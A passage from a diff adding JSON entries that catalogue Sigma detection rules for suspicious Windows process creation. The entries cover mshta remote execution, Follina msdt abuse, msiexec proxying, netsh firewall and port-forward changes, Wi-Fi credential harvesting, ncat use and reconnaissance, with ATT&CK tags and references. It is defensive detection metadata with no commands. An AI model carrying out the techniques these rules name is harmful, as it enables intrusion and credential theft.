"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_monitoring_for_persistence_via_bits.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1197" + ], + "creation_date": "2020/10/29", + "filename": "proc_creation_win_monitoring_for_persistence_via_bits.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.", + "uuid": "c9192ad9-75e5-43eb-8647-82a0a5b493e3", + "value": "Mouse Lock Credential Gathering", + "meta": { + "refs": [ + "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", + "https://sourceforge.net/projects/mouselock/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mouse_lock.yml" + ], + "tags": [ + "attack.credential_access", + "attack.collection", + "attack.t1056.002" + ], + "creation_date": "2020/08/13", + "filename": "proc_creation_win_mouse_lock.yml", + "author": "Cian Heasley", + "level": "medium", + "falsepositive": [ + "Legitimate uses of Mouse Lock software" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects file execution using the msdeploy.exe lolbin", + "uuid": "646bc99f-6682-4b47-a73a-17b1b64c9d34", + "value": "Execute Files with Msdeploy.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/", + "https://twitter.com/pabraeken/status/995837734379032576", + "https://twitter.com/pabraeken/status/999090532839313408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdeploy.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_msdeploy.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "System administrator Usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability", + "uuid": "258fc8ce-8352-443a-9120-8a11e4857fa5", + "value": "Execute Arbitrary Commands Using MSDT.EXE", + "meta": { + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://twitter.com/_JohnHammond/status/1531672601067675648", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/05/29", + "filename": "proc_creation_win_msdt.yml", + "author": "Nasreddine Bencherchali (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects diagcab leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in CVE-2022-30190", + "uuid": "6545ce61-a1bd-4119-b9be-fcbee42c0cf3", + "value": "Execute MSDT.EXE Using Diagcab File", + "meta": { + "refs": [ + "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", + "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_diagcab.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_msdt_diagcab.yml", + "author": "GossiTheDog (rule), frack113 (sigma version)", + "level": "high", + "falsepositive": [ + "Legitimate usage of \".diagcab\" files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190", + "uuid": "dc4576d4-7467-424f-9eee-fd2b02855fe0", + "value": "MSDT.EXE Execution With Suspicious Cab Option", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1537896324837781506", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/06/21", + "filename": "proc_creation_win_msdt_susp_cab_options.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of \".diagcab\" files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation", + "uuid": "7a74da6b-ea76-47db-92cc-874ad90df734", + "value": "MSDT Executed with Suspicious Parent", + "meta": { + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1218" + ], + "creation_date": "2022/06/01", + "filename": "proc_creation_win_msdt_susp_parent.yml", + "author": "Nextron Systems", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the suspicious minimized start of MsEdge browser, which can be used to download files from the Internet", + "uuid": "94771a71-ba41-4b6e-a757-b531372eaab6", + "value": "Suspicious Minimized MSEdge Start", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1478234484881436672?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_minimized_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_msedge_minimized_download.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software that uses MsEdge to download components in the background (see ParentImage, ParentCommandLine)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file", + "uuid": "b98d0db6-511d-45de-ad02-e82a98729620", + "value": "Mshta Remotely Hosted HTA File Execution", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.005" + ], + "creation_date": "2022/08/08", + "filename": "proc_creation_win_mshta_http.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies suspicious mshta.exe commands.", + "uuid": "67f113fa-e23d-4271-befa-30113b3e08b1", + "value": "Mshta JavaScript Execution", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_mshta_javascript.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows command line executable started from MSHTA", + "uuid": "03cc0c25-389f-4bf8-b48d-11878079f1ca", + "value": "MSHTA Spawning Windows Shell", + "meta": { + "refs": [ + "https://www.trustedsec.com/july-2015/malicious-htas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_spawn_shell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005", + "car.2013-02-003", + "car.2013-03-001", + "car.2014-04-003" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_mshta_spawn_shell.yml", + "author": "Michael Haag", + "level": "high", + "falsepositive": [ + "Printer software / driver installations", + "HP software" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function", + "uuid": "84f52741-8834-4a8c-a413-2eb2269aa6c8", + "value": "Suspicious Msiexec Load DLL", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/04/24", + "filename": "proc_creation_win_msiexec_dll.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads", + "uuid": "4a2a2c3e-209f-4d01-b513-4155a540b469", + "value": "Suspicious MsiExec Embedding Parent", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml" + ], + "tags": [ + "attack.t1218.007", + "attack.defense_evasion" + ], + "creation_date": "2022/04/16", + "filename": "proc_creation_win_msiexec_embedding.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "uuid": "6f4191bb-912b-48a8-9ce7-682769541e6d", + "value": "Suspicious Msiexec Execute Arbitrary DLL", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/01/16", + "filename": "proc_creation_win_msiexec_execute_dll.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "uuid": "79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5", + "value": "Suspicious Msiexec Quiet Install", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://twitter.com/_st0pp3r_/status/1583914244344799235", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/01/16", + "filename": "proc_creation_win_msiexec_install_quiet.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly", + "uuid": "8150732a-0c9d-4a99-82b9-9efb9b90c40c", + "value": "Suspicious Msiexec Quiet Install From Remote Location", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/10/28", + "filename": "proc_creation_win_msiexec_install_remote.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process injection using Microsoft Remote Asssistance (Msra.exe) which has been used for discovery and persistence tactics", + "uuid": "744a188b-0415-4792-896f-11ddb0588dbc", + "value": "Msra.exe Process Injection", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", + "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2022/06/24", + "filename": "proc_creation_win_msra_process_injection.yml", + "author": "Alexander McDonald", + "level": "high", + "falsepositive": [ + "Legitimate use of Msra.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", + "uuid": "954f0af7-62dd-418f-b3df-a84bc2c7a774", + "value": "Remote Desktop Protocol Use Mstsc", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2022/01/07", + "filename": "proc_creation_win_mstsc.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "WSL (Windows Sub System For Linux)", + "Other currently unknown software" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects multiple suspicious process in a limited timeframe", + "uuid": "61ab5496-748e-4818-a92f-de78e20fe7f1", + "value": "Quick Execution of a Series of Suspicious Commands", + "meta": { + "refs": [ + "https://car.mitre.org/wiki/CAR-2013-04-002", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_multiple_susp_cli.yml" + ], + "tags": [ + "car.2013-04-002", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_multiple_susp_cli.yml", + "author": "juju4", + "level": "low", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "uuid": "e31033fc-33f0-4020-9a16-faf9b31cbf08", + "value": "Ncat Execution", + "meta": { + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netcat_execution.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ], + "creation_date": "2021/07/21", + "filename": "proc_creation_win_netcat_execution.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate ncat use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects netsh commands that opens the port 3389 used for RDP, used in Sarwent Malware", + "uuid": "01aeb693-138d-49d2-9403-c4f52d7d3d62", + "value": "Netsh RDP Port Opening", + "meta": { + "refs": [ + "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_allow_port_rdp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2020/05/23", + "filename": "proc_creation_win_netsh_allow_port_rdp.yml", + "author": "Sander Wiebing", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Allow Incoming Connections by Port or Application on Windows Firewall", + "uuid": "cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c", + "value": "Netsh Port or Application Allowed", + "meta": { + "refs": [ + "https://attack.mitre.org/software/S0246/ (Lazarus HARDRAIN)", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2019/01/29", + "filename": "proc_creation_win_netsh_fw_add.yml", + "author": "Markus Neis, Sander Wiebing", + "level": "medium", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Netsh commands that allows a suspcious application location on Windows Firewall", + "uuid": "a35f5a72-f347-4e36-8895-9869b0d5fc6d", + "value": "Netsh Program Allowed with Suspcious Location", + "meta": { + "refs": [ + "https://www.virusradar.com/en/Win32_Kasidet.AD/description", + "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_susp_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2020/05/25", + "filename": "proc_creation_win_netsh_fw_add_susp_image.yml", + "author": "Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the removal of a port or application rule in the Windows Firewall configuration using netsh", + "uuid": "1a5fefe6-734f-452e-a07d-fc1c35bce4b2", + "value": "Netsh Firewall Rule Deletion", + "meta": { + "refs": [ + "https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/08/14", + "filename": "proc_creation_win_netsh_fw_delete.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage", + "uuid": "347906f3-e207-4d18-ae5b-a9403d6bcdef", + "value": "Netsh Allow Group Policy on Microsoft Defender Firewall", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall", + "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/01/09", + "filename": "proc_creation_win_netsh_fw_enable_group_rule.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects capture a network trace via netsh.exe trace functionality", + "uuid": "d3c3861d-c504-4c77-ba55-224ba82d0118", + "value": "Capture a Network Trace with netsh.exe", + "meta": { + "refs": [ + "https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_packet_capture.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_netsh_packet_capture.yml", + "author": "Kutepov Anton, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrator or user uses netsh.exe trace functionality for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects netsh commands that configure a port forwarding (PortProxy)", + "uuid": "322ed9ec-fcab-4f67-9a34-e7c6aef43614", + "value": "Netsh Port Forwarding", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.dfirnotes.net/portproxy_detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2019/01/29", + "filename": "proc_creation_win_netsh_port_fwd.yml", + "author": "Florian Roth, omkar72, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration", + "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects netsh commands that configure a port forwarding of port 3389 used for RDP", + "uuid": "782d6f3e-4c5d-4b8c-92a3-1d05fed72e63", + "value": "Netsh RDP Port Forwarding", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd_3389.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2019/01/29", + "filename": "proc_creation_win_netsh_port_fwd_3389.yml", + "author": "Florian Roth, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect the harvesting of wifi credentials using netsh.exe", + "uuid": "42b1a5b8-353f-4f10-b256-39de4467faff", + "value": "Harvesting of Wifi Credentials Using netsh.exe", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2020/04/20", + "filename": "proc_creation_win_netsh_wifi_credential_harvesting.yml", + "author": "Andreas Hunkeler (@Karneades), oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrator or user uses netsh.exe wlan functionality for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "758ff488-18d5-4cbe-8ec4-02b6285a434f", + "value": "Use of NetSupport Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsupport.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/09/25", + "filename": "proc_creation_win_netsupport.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system", + "uuid": "f8ad2e2c-40b6-4117-84d7-20b89896ab23", + "value": "Suspicious Scan Loop Network", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://ss64.com/nt/for.html", + "https://ss64.com/ps/foreach-object.htmll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_scan_loop.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2022/03/12", + "filename": "proc_creation_win_network_scan_loop.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", + "uuid": "ba1f7802-adc7-48b4-9ecb-81e227fddfd5", + "value": "Network Sniffing", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_network_sniffing.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc", + "uuid": "5b768e71-86f2-4879-b448-81061cbae951", + "value": "Suspicious Manipulation Of Default Accounts", + "meta": { + "refs": [ + "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_net_default_accounts_manipulation.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Some fasle positives could occure with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool.", + "uuid": "62510e69-616b-4078-b371-847da438cc03", + "value": "Windows Network Enumeration", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_enum.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2018/10/30", + "filename": "proc_creation_win_net_enum.yml", + "author": "Endgame, JHasenbusch (ported for oscd.community)", + "level": "low", + "falsepositive": [ + "Legitimate use of net.exe utility by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE", + "uuid": "d95de845-b83c-4a9a-8a6a-4fc802ebf6c0", + "value": "Suspicious Reconnaissance Activity Using Net", + "meta": { + "refs": [ + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_net_recon.yml", + "author": "Florian Roth, omkar72, @svch0st, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": 